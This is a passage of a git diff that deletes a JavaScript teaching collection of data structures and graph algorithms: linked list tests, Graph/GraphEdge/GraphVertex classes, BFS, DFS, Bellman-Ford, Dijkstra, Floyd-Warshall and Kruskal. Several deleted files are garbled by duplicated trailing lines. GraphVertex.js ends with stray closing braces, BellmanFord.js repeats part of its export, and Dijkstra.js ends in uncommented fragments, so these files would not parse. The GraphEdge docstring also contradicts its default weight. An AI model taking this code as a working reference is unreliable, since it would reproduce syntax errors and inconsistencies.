-expect(linkedList.head.next.value).toBe(2);
-expect(linkedList.head.next.next.value).toBe(3);
-expect(linkedList.head.next.next.next.value).toBe(4);
-expect(linkedList.tail.next).toBeNull();
-expect(linkedList.tail.value).toBe(4);
-expect(linkedList.tail.previous.value).toBe(3);
-expect(linkedList.tail.previous.previous.value).toBe(2);
-expect(linkedList.tail.previous.previous.previous.value).toBe(1);
-});
-});
diff --git a/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedListNode.test.js b/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedListNode.test.js
deleted file mode 100644
index 010019d51a..0000000000
--- a/docs/content/DS_ALGO/data-structures/doubly-linked-list/test/DoublyLinkedListNode.test.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import DoublyLinkedListNode from '../DoublyLinkedListNode';
-describe('DoublyLinkedListNode', () => {
-    it('should create list node with value', () => {
-        const node = new DoublyLinkedListNode(1);
-        expect(node.value).toBe(1);
-        expect(node.next).toBeNull();
-        expect(node.previous).toBeNull();
-    });
-    it('should create list node with object as a value', () => {
-        const nodeValue = { value: 1, key: 'test' };
-        const node = new DoublyLinkedListNode(nodeValue);
-        expect(node.value.value).toBe(1);
-        expect(node.value.key).toBe('test');
-        expect(node.next).toBeNull();
-        expect(node.previous).toBeNull();
-    });
-    it('should link nodes together', () => {
-        const node2 = new DoublyLinkedListNode(2);
-        const node1 = new DoublyLinkedListNode(1, node2);
-        const node3 = new DoublyLinkedListNode(10, node1, node2);
-        expect(node1.next).toBeDefined();
-        expect(node1.previous).toBeNull();
-        expect(node2.next).toBeNull();
-        expect(node2.previous).toBeNull();
-        expect(node3.next).toBeDefined();
-        expect(node3.previous).toBeDefined();
-        expect(node1.value).toBe(1);
-        expect(node1.next.value).toBe(2);
-        expect(node3.next.value).toBe(1);
-        expect(node3.previous.value).toBe(2);
-    });
-    it('should convert node to string', () => {
-        const node = new DoublyLinkedListNode(1);
-        expect(node.toString()).toBe('1');
-        node.value = 'string value';
-        expect(node.toString()).toBe('string value');
-    });
-    it('should convert node to string with custom stringifier', () => {
-        const nodeValue = { value: 1, key: 'test' };
-        const node = new DoublyLinkedListNode(nodeValue);
-        const toStringCallback = (value) => `value: ${value.value}, key: ${value.key}`;
-        expect(node.toString(toStringCallback)).toBe('value: 1, key: test');
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graph.js b/docs/content/DS_ALGO/data-structures/graph/Graph.js
deleted file mode 100644
index d2749a062d..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graph.js
+++ /dev/null
@@ -1,169 +0,0 @@
-export default class Graph {
-    /**
-     * @param {boolean} isDirected
-     */
-    constructor(isDirected = false) {
-        this.vertices = {};
-        this.edges = {};
-        this.isDirected = isDirected;
-    }
-    /**
-     * @param {GraphVertex} newVertex
-     * @returns {Graph}
-     */
-    addVertex(newVertex) {
-        this.vertices[newVertex.getKey()] = newVertex;
-        return this;
-    }
-    /**
-     * @param {string} vertexKey
-     * @returns GraphVertex
-     */
-    getVertexByKey(vertexKey) {
-        return this.vertices[vertexKey];
-    }
-    /**
-     * @param {GraphVertex} vertex
-     * @returns {GraphVertex[]}
-     */
-    getNeighbors(vertex) {
-        return vertex.getNeighbors();
-    }
-    /**
-     * @return {GraphVertex[]}
-     */
-    getAllVertices() {
-        return Object.values(this.vertices);
-    }
-    /**
-     * @return {GraphEdge[]}
-     */
-    getAllEdges() {
-        return Object.values(this.edges);
-    }
-    /**
-     * @param {GraphEdge} edge
-     * @returns {Graph}
-     */
-    addEdge(edge) {
-        // Try to find and end start vertices.
-        let startVertex = this.getVertexByKey(edge.startVertex.getKey());
-        let endVertex = this.getVertexByKey(edge.endVertex.getKey());
-        // Insert start vertex if it wasn't inserted.
-        if (!startVertex) {
-            this.addVertex(edge.startVertex);
-            startVertex = this.getVertexByKey(edge.startVertex.getKey());
-        }
-        // Insert end vertex if it wasn't inserted.
-        if (!endVertex) {
-            this.addVertex(edge.endVertex);
-            endVertex = this.getVertexByKey(edge.endVertex.getKey());
-        }
-        // Check if edge has been already added.
-        if (this.edges[edge.getKey()]) {
-            throw new Error('Edge has already been added before');
-        } else {
-            this.edges[edge.getKey()] = edge;
-        }
-        // Add edge to the vertices.
-        if (this.isDirected) {
-            // If graph IS directed then add the edge only to start vertex.
-            startVertex.addEdge(edge);
-        } else {
-            // If graph ISN'T directed then add the edge to both vertices.
-            startVertex.addEdge(edge);
-            endVertex.addEdge(edge);
-        }
-        return this;
-    }
-    /**
-     * @param {GraphEdge} edge
-     */
-    deleteEdge(edge) {
-        // Delete edge from the list of edges.
-        if (this.edges[edge.getKey()]) {
-            delete this.edges[edge.getKey()];
-        } else {
-            throw new Error('Edge not found in graph');
-        }
-        // Try to find and end start vertices and delete edge from them.
-        const startVertex = this.getVertexByKey(edge.startVertex.getKey());
-        const endVertex = this.getVertexByKey(edge.endVertex.getKey());
-        startVertex.deleteEdge(edge);
-        endVertex.deleteEdge(edge);
-    }
-    /**
-     * @param {GraphVertex} startVertex
-     * @param {GraphVertex} endVertex
-     * @return {(GraphEdge|null)}
-     */
-    findEdge(startVertex, endVertex) {
-        const vertex = this.getVertexByKey(startVertex.getKey());
-        if (!vertex) {
-            return null;
-        }
-        return vertex.findEdge(endVertex);
-    }
-    /**
-     * @return {number}
-     */
-    getWeight() {
-        return this.getAllEdges().reduce((weight, graphEdge) => {
-            return weight + graphEdge.weight;
-        }, 0);
-    }
-    /**
-     * Reverse all the edges in directed graph.
-     * @return {Graph}
-     */
-    reverse() {
-        /** @param {GraphEdge} edge */
-        this.getAllEdges().forEach((edge) => {
-            // Delete straight edge from graph and from vertices.
-            this.deleteEdge(edge);
-            // Reverse the edge.
-            edge.reverse();
-            // Add reversed edge back to the graph and its vertices.
-            this.addEdge(edge);
-        });
-        return this;
-    }
-    /**
-     * @return {object}
-     */
-    getVerticesIndices() {
-        const verticesIndices = {};
-        this.getAllVertices().forEach((vertex, index) => {
-            verticesIndices[vertex.getKey()] = index;
-        });
-        return verticesIndices;
-    }
-    /**
-     * @return {*[][]}
-     */
-    getAdjacencyMatrix() {
-        const vertices = this.getAllVertices();
-        const verticesIndices = this.getVerticesIndices();
-        // Init matrix with infinities meaning that there is no ways of
-        // getting from one vertex to another yet.
-        const adjacencyMatrix = Array(vertices.length)
-            .fill(null)
-            .map(() => {
-                return Array(vertices.length).fill(Infinity);
-            });
-        // Fill the columns.
-        vertices.forEach((vertex, vertexIndex) => {
-            vertex.getNeighbors().forEach((neighbor) => {
-                const neighborIndex = verticesIndices[neighbor.getKey()];
-                adjacencyMatrix[vertexIndex][neighborIndex] = this.findEdge(vertex, neighbor).weight;
-            });
-        });
-        return adjacencyMatrix;
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        return Object.keys(this.vertices).toString();
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/graph/GraphEdge.js b/docs/content/DS_ALGO/data-structures/graph/GraphEdge.js
deleted file mode 100644
index a47a7ad980..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/GraphEdge.js
+++ /dev/null
@@ -1,35 +0,0 @@
-export default class GraphEdge {
-    /**
-     * @param {GraphVertex} startVertex
-     * @param {GraphVertex} endVertex
-     * @param {number} [weight=1]
-     */
-    constructor(startVertex, endVertex, weight = 0) {
-        this.startVertex = startVertex;
-        this.endVertex = endVertex;
-        this.weight = weight;
-    }
-    /**
-     * @return {string}
-     */
-    getKey() {
-        const startVertexKey = this.startVertex.getKey();
-        const endVertexKey = this.endVertex.getKey();
-        return `${startVertexKey}_${endVertexKey}`;
-    }
-    /**
-     * @return {GraphEdge}
-     */
-    reverse() {
-        const tmp = this.startVertex;
-        this.startVertex = this.endVertex;
-        this.endVertex = tmp;
-        return this;
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        return this.getKey();
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/graph/GraphVertex.js b/docs/content/DS_ALGO/data-structures/graph/GraphVertex.js
deleted file mode 100644
index 68b97828ef..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/GraphVertex.js
+++ /dev/null
@@ -1,119 +0,0 @@
-import LinkedList from '../linked-list/LinkedList';
-export default class GraphVertex {
-    /**
-     * @param {*} value
-     */
-    constructor(value) {
-        if (value === undefined) {
-            throw new Error('Graph vertex must have a value');
-        }
-        /**
-         * @param {GraphEdge} edgeA
-         * @param {GraphEdge} edgeB
-         */
-        const edgeComparator = (edgeA, edgeB) => {
-            if (edgeA.getKey() === edgeB.getKey()) {
-                return 0;
-            }
-            return edgeA.getKey() < edgeB.getKey() ? -1 : 1;
-        };
-        // Normally you would store string value like vertex name.
-        // But generally it may be any object as well
-        this.value = value;
-        this.edges = new LinkedList(edgeComparator);
-    }
-    /**
-     * @param {GraphEdge} edge
-     * @returns {GraphVertex}
-     */
-    addEdge(edge) {
-        this.edges.append(edge);
-        return this;
-    }
-    /**
-     * @param {GraphEdge} edge
-     */
-    deleteEdge(edge) {
-        this.edges.delete(edge);
-    }
-    /**
-     * @returns {GraphVertex[]}
-     */
-    getNeighbors() {
-        const edges = this.edges.toArray();
-        /** @param {LinkedListNode} node */
-        const neighborsConverter = (node) => {
-            return node.value.startVertex === this ? node.value.endVertex : node.value.startVertex;
-        };
-        // Return either start or end vertex.
-        // For undirected graphs it is possible that current vertex will be the end one.
-        return edges.map(neighborsConverter);
-    }
-    /**
-     * @return {GraphEdge[]}
-     */
-    getEdges() {
-        return this.edges.toArray().map((linkedListNode) => linkedListNode.value);
-    }
-    /**
-     * @return {number}
-     */
-    getDegree() {
-        return this.edges.toArray().length;
-    }
-    /**
-     * @param {GraphEdge} requiredEdge
-     * @returns {boolean}
-     */
-    hasEdge(requiredEdge) {
-        const edgeNode = this.edges.find({
-            callback: (edge) => edge === requiredEdge
-        });
-        return !!edgeNode;
-    }
-    /**
-     * @param {GraphVertex} vertex
-     * @returns {boolean}
-     */
-    hasNeighbor(vertex) {
-        const vertexNode = this.edges.find({
-            callback: (edge) => edge.startVertex === vertex || edge.endVertex === vertex
-        });
-        return !!vertexNode;
-    }
-    /**
-     * @param {GraphVertex} vertex
-     * @returns {(GraphEdge|null)}
-     */
-    findEdge(vertex) {
-        const edgeFinder = (edge) => {
-            return edge.startVertex === vertex || edge.endVertex === vertex;
-        };
-        const edge = this.edges.find({
-            callback: edgeFinder
-        });
-        return edge ? edge.value : null;
-    }
-    /**
-     * @returns {string}
-     */
-    getKey() {
-        return this.value;
-    }
-    /**
-     * @return {GraphVertex}
-     */
-    deleteAllEdges() {
-        this.getEdges().forEach((edge) => this.deleteEdge(edge));
-        return this;
-    }
-    /**
-     * @param {function} [callback]
-     * @returns {string}
-     */
-    toString(callback) {
-        return callback ? callback(this.value) : `${this.value}`;
-    }
-}
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/BellmanFord.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/BellmanFord.js
deleted file mode 100644
index 7e3b5f611a..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/BellmanFord.js
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
-The Bellman-Ford algorithm is an algorithm that computes shortest paths
-from a single source vertex to all of the other vertices in a weighted digraph.
-It also detects negative weight cycle.
-Complexity:
-    Worst-case performance O(VE)
-    Best-case performance O(E)
-    Worst-case space complexity O(V)
-Reference:
-    https://en.wikipedia.org/wiki/Bellman-Ford_algorithm
-    https://cp-algorithms.com/graph/bellman_ford.html
-*/
-/**
- *
- * @param graph Graph in the format (u, v, w) where
- *  the edge is from vertex u to v. And weight
- *  of the edge is w.
- * @param V Number of vertices in graph
- * @param E Number of edges in graph
- * @param src Starting node
- * @param dest Destination node
- * @returns Shortest distance from source to destination
- */
-function BellmanFord(graph, V, E, src, dest) {
-    // Initialize distance of all vertices as infinite.
-    const dis = Array(V).fill(Infinity);
-    // initialize distance of source as 0
-    dis[src] = 0;
-    // Relax all edges |V| - 1 times. A simple
-    // shortest path from src to any other
-    // vertex can have at-most |V| - 1 edges
-    for (let i = 0; i < V - 1; i++) {
-        for (let j = 0; j < E; j++) {
-            if (dis[graph[j][0]] + graph[j][2] < dis[graph[j][1]]) {
-                dis[graph[j][1]] = dis[graph[j][0]] + graph[j][2];
-            }
-        }
-    }
-    // check for negative-weight cycles.
-    for (let i = 0; i < E; i++) {
-        const x = graph[i][0];
-        const y = graph[i][1];
-        const weight = graph[i][2];
-        if (dis[x] !== Infinity && dis[x] + weight < dis[y]) {
-            return null;
-        }
-    }
-    for (let i = 0; i < V; i++) {
-        if (i === dest) return dis[i];
-    }
-}
-export {
-    BellmanFord
-};
-BellmanFord
-};
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstSearch.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstSearch.js
deleted file mode 100644
index 0a0ee37861..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstSearch.js
+++ /dev/null
@@ -1,29 +0,0 @@
-/**
- * Breadth-first search is an algorithm for traversing a graph.
- *
- * It discovers all nodes reachable from the starting position by exploring all of the neighbor nodes at the present
- * depth prior to moving on to the nodes at the next depth level.
- *
- * (description adapted from https://en.wikipedia.org/wiki/Breadth-first_search)
- * @see https://www.koderdojo.com/blog/breadth-first-search-and-shortest-path-in-csharp-and-net-core
- */
-export function breadthFirstSearch(graph, startingNode) {
-    // visited keeps track of all nodes visited
-    const visited = new Set();
-    // queue contains the nodes to be explored in the future
-    const queue = [startingNode];
-    while (queue.length > 0) {
-        // start with the queue's first node
-        const node = queue.shift();
-        if (!visited.has(node)) {
-            // mark the node as visited
-            visited.add(node);
-            const neighbors = graph[node];
-            // put all its neighbors into the queue
-            for (let i = 0; i < neighbors.length; i++) {
-                queue.push(neighbors[i]);
-            }
-        }
-    }
-    return visited;
-}
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstShortestPath.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstShortestPath.js
deleted file mode 100644
index 216998ea5e..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/BreadthFirstShortestPath.js
+++ /dev/null
@@ -1,43 +0,0 @@
-/**
- * Breadth-first approach can be applied to determine the shortest path between two nodes in an equi-weighted graph.
- *
- * It searches the target node among all neighbors of the starting node, then the process is repeated on the level of
- * the neighbors of the neighbors and so on.
- *
- * @see https://en.wikipedia.org/wiki/Breadth-first_search
- * @see https://www.koderdojo.com/blog/breadth-first-search-and-shortest-path-in-csharp-and-net-core
- */
-export function breadthFirstShortestPath(graph, startNode, targetNode) {
-    // check if startNode & targetNode are identical
-    if (startNode === targetNode) {
-        return [startNode];
-    }
-    // visited keeps track of all nodes visited
-    const visited = new Set();
-    // queue contains the paths to be explored in the future
-    const initialPath = [startNode];
-    const queue = [initialPath];
-    while (queue.length > 0) {
-        // start with the queue's first path
-        const path = queue.shift();
-        const node = path[path.length - 1];
-        // explore this node if it hasn't been visited yet
-        if (!visited.has(node)) {
-            // mark the node as visited
-            visited.add(node);
-            const neighbors = graph[node];
-            // create a new path in the queue for each neighbor
-            for (let i = 0; i < neighbors.length; i++) {
-                const newPath = path.concat([neighbors[i]]);
-                // the first path to contain the target node is the shortest path
-                if (neighbors[i] === targetNode) {
-                    return newPath;
-                }
-                // queue the new path
-                queue.push(newPath);
-            }
-        }
-    }
-    // the target node was not reachable
-    return [];
-}
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/ConnectedComponents.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/ConnectedComponents.js
deleted file mode 100644
index a7ccd4208a..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/ConnectedComponents.js
+++ /dev/null
@@ -1,62 +0,0 @@
-class GraphUnweightedUndirectedAdjacencyList {
-    // Unweighted Undirected Graph class
-    constructor() {
-        this.connections = {};
-    }
-    addNode(node) {
-        // Function to add a node to the graph (connection represented by set)
-        this.connections[node] = new Set();
-    }
-    addEdge(node1, node2) {
-        // Function to add an edge (adds the node too if they are not present in the graph)
-        if (!(node1 in this.connections)) {
-            this.addNode(node1);
-        }
-        if (!(node2 in this.connections)) {
-            this.addNode(node2);
-        }
-        this.connections[node1].add(node2);
-        this.connections[node2].add(node1);
-    }
-    DFSComponent(components, node, visited) {
-        // Helper function to populate the visited set with the nodes in each component
-        // adding the first visited node in the component to the array
-        components.push(node);
-        const stack = [node];
-        // populating the visited set using DFS (Iterative)
-        while (stack.length > 0) {
-            const curr = stack.pop();
-            visited.add(curr.toString());
-            for (const neighbour of this.connections[curr].keys()) {
-                if (!visited.has(neighbour.toString())) {
-                    stack.push(neighbour);
-                }
-            }
-        }
-    }
-    connectedComponents() {
-        // Function to generate the Connected Components
-        // Result is an array containing 1 node from each component
-        const visited = new Set();
-        const components = [];
-        for (const node of Object.keys(this.connections)) {
-            if (!visited.has(node.toString())) {
-                this.DFSComponent(components, node, visited);
-            }
-        }
-        return components;
-    }
-}
-
-export {
-    GraphUnweightedUndirectedAdjacencyList
-};
-
-// Example
-// const graph = new GraphUnweightedUndirectedAdjacencyList()
-// graph.addEdge(1, 2) // Component 1
-// graph.addEdge(3, 4) // Component 2
-// graph.addEdge(3, 5) // Component 2
-// const components = graph.connectedComponents()
-// graph.addEdge(3, 5) // Component 2
-// const components = graph.connectedComponents()
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/Density.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/Density.js
deleted file mode 100644
index 78f65cf41e..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/Density.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
-The density of a network is a measure of how many edges exist proportional to
-how many edges would exist in a complete network (where all possible edges).
-https://networkx.org/documentation/networkx-1.9/reference/generated/networkx.classes.function.density.html
-*/
-function density(numberOfNodes, numberOfEdges, isDirected = false) {
-    const multi = isDirected ? 1 : 2;
-    return (multi * numberOfEdges) / (numberOfNodes * (numberOfNodes - 1));
-}
-export { density };
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchIterative.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchIterative.js
deleted file mode 100644
index 0d106dadbe..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchIterative.js
+++ /dev/null
@@ -1,57 +0,0 @@
-class GraphUnweightedUndirected {
-    // Unweighted Undirected Graph class
-    constructor() {
-        this.connections = {};
-    }
-    addNode(node) {
-        // Function to add a node to the graph (connection represented by set)
-        this.connections[node] = new Set();
-    }
-    addEdge(node1, node2) {
-        // Function to add an edge (adds the node too if they are not present in the graph)
-        if (!(node1 in this.connections)) {
-            this.addNode(node1);
-        }
-        if (!(node2 in this.connections)) {
-            this.addNode(node2);
-        }
-        this.connections[node1].add(node2);
-        this.connections[node2].add(node1);
-    }
-    DFSIterative(node, value) {
-        // DFS Function to search if a node with the given value is present in the graph
-        const stack = [node];
-        const visited = new Set();
-        while (stack.length > 0) {
-            const currNode = stack.pop();
-            // if the current node contains the value being searched for, true is returned
-            if (currNode === value) {
-                return true;
-            }
-            // adding the current node to the visited set
-            visited.add(currNode);
-            // adding neighbours in the stack
-            for (const neighbour of this.connections[currNode]) {
-                if (!visited.has(neighbour)) {
-                    stack.push(neighbour);
-                }
-            }
-        }
-        return false;
-    }
-}
-
-export {
-    GraphUnweightedUndirected
-};
-
-// Example
-// const graph = new GraphUnweightedUndirected()
-// graph.addEdge(1, 2)
-// graph.addEdge(2, 3)
-// graph.addEdge(2, 4)
-// graph.addEdge(3, 5)
-// graph.DFSIterative(5, 1)
-// graph.DFSIterative(5, 100)
-// graph.DFSIterative(5, 1)
-// graph.DFSIterative(5, 100)
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchRecursive.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchRecursive.js
deleted file mode 100644
index 1861f206a3..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/DepthFirstSearchRecursive.js
+++ /dev/null
@@ -1,53 +0,0 @@
-class GraphUnweightedUndirected {
-    // Unweighted Undirected Graph class
-    constructor() {
-        this.connections = {};
-    }
-    addNode(node) {
-        // Function to add a node to the graph (connection represented by set)
-        this.connections[node] = new Set();
-    }
-    addEdge(node1, node2) {
-        // Function to add an edge (adds the node too if they are not present in the graph)
-        if (!(node1 in this.connections)) {
-            this.addNode(node1);
-        }
-        if (!(node2 in this.connections)) {
-            this.addNode(node2);
-        }
-        this.connections[node1].add(node2);
-        this.connections[node2].add(node1);
-    }
-    DFSRecursive(node, value, visited = new Set()) {
-        // DFS Function to search if a node with the given value is present in the graph
-        // checking if the searching node has been found
-        if (node === value) {
-            return true;
-        }
-        // adding the current node to the visited set
-        visited.add(node);
-        // calling the helper function recursively for all unvisited nodes
-        for (const neighbour of this.connections[node]) {
-            if (!visited.has(neighbour)) {
-                if (this.DFSRecursive(neighbour, value, visited)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-}
-
-export {
-    GraphUnweightedUndirected
-};
-
-// const graph = new GraphUnweightedUndirected()
-// graph.addEdge(1, 2)
-// graph.addEdge(2, 3)
-// graph.addEdge(2, 4)
-// graph.addEdge(3, 5)
-// graph.DFSRecursive(5, 1)
-// graph.DFSRecursive(5, 100)
-// graph.DFSRecursive(5, 1)
-// graph.DFSRecursive(5, 100)
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/Dijkstra.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/Dijkstra.js
deleted file mode 100644
index aa92e06e2b..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/Dijkstra.js
+++ /dev/null
@@ -1,74 +0,0 @@
-/**
- * Author: Samarth Jain
- * Dijkstra's Algorithm implementation in JavaScript
- * Dijkstra's Algorithm calculates the minimum distance between two nodes.
- * It is used to find the shortest path.
- * It uses graph data structure.
- */
-function createGraph(V, E) {
-    // V - Number of vertices in graph
-    // E - Number of edges in graph (u,v,w)
-    const adjList = []; // Adjacency list
-    for (let i = 0; i < V; i++) {
-        adjList.push([]);
-    }
-    for (let i = 0; i < E.length; i++) {
-        adjList[E[i][0]].push([E[i][1], E[i][2]]);
-        adjList[E[i][1]].push([E[i][0], E[i][2]]);
-    }
-    return adjList;
-}
-function djikstra(graph, V, src) {
-    const vis = Array(V).fill(0);
-    const dist = [];
-    for (let i = 0; i < V; i++) dist.push([10000, -1]);
-    dist[src][0] = 0;
-    for (let i = 0; i < V - 1; i++) {
-        let mn = -1;
-        for (let j = 0; j < V; j++) {
-            if (vis[j] === 0) {
-                if (mn === -1 || dist[j][0] < dist[mn][0]) mn = j;
-            }
-        }
-        vis[mn] = 1;
-        for (let j = 0; j < graph[mn].length; j++) {
-            const edge = graph[mn][j];
-            if (vis[edge[0]] === 0 && dist[edge[0]][0] > dist[mn][0] + edge[1]) {
-                dist[edge[0]][0] = dist[mn][0] + edge[1];
-                dist[edge[0]][1] = mn;
-            }
-        }
-    }
-    return dist;
-}
-export {
-    createGraph,
-    djikstra
-};
-// const V = 9
-// const E = [
-//   [0, 1, 4],
-//   [0, 7, 8],
-//   [1, 7, 11],
-//   [1, 2, 8],
-//   [7, 8, 7],
-//   [6, 7, 1],
-//   [2, 8, 2],
-//   [6, 8, 6],
-//   [5, 6, 2],
-//   [2, 5, 4],
-//   [2, 3, 7],
-//   [3, 5, 14],
-//   [3, 4, 9],
-//   [4, 5, 10]
-// ]
-// const graph = createGraph(V, E)
-// const distances = djikstra(graph, V, 0)
-/**
- * The first value in the array determines the minimum distance and the
- * second value represents the parent node from which the minimum distance has been calculated
- */
-* The first value in the array determines the minimum distance and the *
-    second value represents the parent node from which the minimum distance has been calculated *
-
-    / /
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/DijkstraSmallestPath.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/DijkstraSmallestPath.js
deleted file mode 100644
index 8093d2f56f..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/DijkstraSmallestPath.js
+++ /dev/null
@@ -1,105 +0,0 @@
-// starting at s
-function solve(graph, s) {
-    const solutions = {};
-    solutions[s] = [];
-    solutions[s].dist = 0;
-    while (true) {
-        let p = null;
-        let neighbor = null;
-        let dist = Infinity;
-        for (const n in solutions) {
-            if (!solutions[n]) {
-                continue;
-            }
-            const ndist = solutions[n].dist;
-            const adj = graph[n];
-            for (const a in adj) {
-                if (solutions[a]) {
-                    continue;
-                }
-                const d = adj[a] + ndist;
-                if (d < dist) {
-                    p = solutions[n];
-                    neighbor = a;
-                    dist = d;
-                }
-            }
-        }
-        // no more solutions
-        if (dist === Infinity) {
-            break;
-        }
-        // extend parent's solution path
-        solutions[neighbor] = p.concat(neighbor);
-        // extend parent's cost
-        solutions[neighbor].dist = dist;
-    }
-    return solutions;
-}
-
-export {
-    solve
-};
-
-// // create graph
-// const graph = {}
-// const layout = {
-//   R: ['2'],
-//   2: ['3', '4'],
-//   3: ['4', '6', '13'],
-//   4: ['5', '8'],
-//   5: ['7', '11'],
-//   6: ['13', '15'],
-//   7: ['10'],
-//   8: ['11', '13'],
-//   9: ['14'],
-//   10: [],
-//   11: ['12'],
-//   12: [],
-//   13: ['14'],
-//   14: [],
-//   15: []
-// }
-// // convert uni-directional to bi-directional graph
-// let  graph = {
-//     a: {e:1, b:1, g:3},
-//     b: {a:1, c:1},
-//     c: {b:1, d:1},
-//     d: {c:1, e:1},
-//     e: {d:1, a:1},
-//     f: {g:1, h:1},
-//     g: {a:3, f:1},
-//     h: {f:1}
-// };
-// for (const id in layout) {
-//   if (!graph[id]) { graph[id] = {} }
-//   layout[id].forEach(function (aid) {
-//     graph[id][aid] = 1
-//     if (!graph[aid]) { graph[aid] = {} }
-//     graph[aid][id] = 1
-//   })
-// }
-// // choose start node
-// const start = '10'
-// // get all solutions
-// const solutions = solve(graph, start)
-// // for s in solutions..
-// ' -> ' + s + ': [' + solutions[s].join(', ') + ']   (dist:' + solutions[s].dist + ')'
-// From '10' to
-//  -> 2: [7, 5, 4, 2]   (dist:4)
-//  -> 3: [7, 5, 4, 3]   (dist:4)
-//  -> 4: [7, 5, 4]   (dist:3)
-//  -> 5: [7, 5]   (dist:2)
-//  -> 6: [7, 5, 4, 3, 6]   (dist:5)
-//  -> 7: [7]   (dist:1)
-//  -> 8: [7, 5, 4, 8]   (dist:4)
-//  -> 9: [7, 5, 4, 3, 13, 14, 9]   (dist:7)
-//  -> 10: []   (dist:0)
-//  -> 11: [7, 5, 11]   (dist:3)
-//  -> 12: [7, 5, 11, 12]   (dist:4)
-//  -> 13: [7, 5, 4, 3, 13]   (dist:5)
-//  -> 14: [7, 5, 4, 3, 13, 14]   (dist:6)
-//  -> 15: [7, 5, 4, 3, 6, 15]   (dist:6)
-//  -> R: [7, 5, 4, 2, R]   (dist:5)
-//  -> 15: [7, 5, 4, 3, 6, 15]   (dist:6)
-//  -> R: [7, 5, 4, 2, R]   (dist:5)
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/FloydWarshall.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/FloydWarshall.js
deleted file mode 100644
index b1401a696b..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/FloydWarshall.js
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
-  Source:
-    https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm
-  Complexity:
-    O(|V|^3) where V is the set of vertices
-*/
-const FloydWarshall = (dist) => {
-    // Input:- dist: 2D Array where dist[i][j] = edge weight b/w i and j
-    // Output:- dist: 2D Array where dist[i][j] = shortest dist b/w i and j
-    const n = dist.length;
-    for (let k = 0; k < n; k++) {
-        for (let i = 0; i < n; i++) {
-            for (let j = 0; j < n; j++) {
-                if (dist[i][j] > dist[i][k] + dist[k][j]) {
-                    // dist from i to j via k is lesser than the current distance
-                    dist[i][j] = dist[i][k] + dist[k][j];
-                }
-            }
-        }
-    }
-    return dist;
-};
-
-export {
-    FloydWarshall
-};
-
-// For the following graph (edge weights are shown in brackets)
-//  4       1       dist[1][2] = dist[2][1] = 1
-//   \  (2)/ \      dist[1][3] = dist[3][1] = 2
-//    \   /   \(1)  dist[1][4] = dist[4][1] = Infinity
-//  (1)\ /     \    dist[3][4] = dist[4][3] = 1
-//      3       2   dist[2][4] = dist[4][2] = Infinity
-//                  dist[2][3] = dist[3][2] = Infinity
-// Output should be:
-// [ [0, 1, 2, 3],
-//   [1, 0, 3, 4],
-//   [2, 3, 0, 1],
-//   [3, 4, 1, 0] ]
-// FloydWarshall(
-//     [[0, 1, 2, Infinity],
-//       [1, 0, Infinity, Infinity],
-//       [2, Infinity, 0, 1],
-//       [Infinity, Infinity, 1, 0]
-//     ]
-//   )
-//     ]
-//   )
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/KruskalMST.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/KruskalMST.js
deleted file mode 100644
index 2d2b1caf30..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/KruskalMST.js
+++ /dev/null
@@ -1,111 +0,0 @@
-class DisjointSetTreeNode {
-    // Disjoint Set Node to store the parent and rank
-    constructor(key) {
-        this.key = key;
-        this.parent = this;
-        this.rank = 0;
-    }
-}
-class DisjointSetTree {
-    // Disjoint Set DataStructure
-    constructor() {
-        // map to from node name to the node object
-        this.map = {};
-    }
-    makeSet(x) {
-        // Function to create a new set with x as its member
-        this.map[x] = new DisjointSetTreeNode(x);
-    }
